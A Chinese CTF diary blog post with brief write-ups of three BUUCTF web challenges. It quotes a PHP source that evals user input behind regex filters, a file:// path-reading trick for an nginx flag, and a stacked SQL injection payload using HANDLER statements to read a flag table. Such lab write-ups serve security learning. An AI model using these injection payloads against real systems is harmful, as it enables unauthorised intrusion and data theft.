buu摸鱼日记(10)
[GXYCTF2019]禁止套娃
一个简单的rce,之前没怎么接触过RCE,没做出来
首先niklo扫了下,发现是git泄露,于是乎直接拿到了源码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
无参数rce
其实就是一个远端执行php,类似于一句话那种
php data等伪协议都被ban了,呢么就直接执行就行了,这里利用PHPSESS_id来绕过那个bin2hex即可
[SUCTF 2019]Pythonginx
审计源码挺草的,别的没什么
配置文件存放目录:/etc/nginx 主配置文件:/etc/nginx/conf/nginx.conf 管理脚本:/usr/lib64/systemd/system/nginx.service 模块:/usr/lisb64/nginx/modules 应用程序:/usr/sbin/nginx 程序默认存放位置:/usr/share/nginx/html 日志默认存放位置:/var/log/nginx 配置文件目录为:/usr/local/nginx/conf/nginx.conf
读取Nginx服务器的配置
# location /flag { # alias /usr/fffffflag; # } }
,用file协议去探路,然后穿个
file:////suctf.cc/usr/fffffflag
就拿到flag了
[GYCTF2020]Blacklist
这个是强网杯的那个预编译的升级版,不过他连预编译也一起毙了
HANDLER ... OPEN
语句打开一个表,使其可以使用后续HANDLER ... READ
语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE
或会话终止之前不会关闭
1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#
PREVIOUSBuu摸鱼日记(9)
NEXTBuu摸鱼日记(11)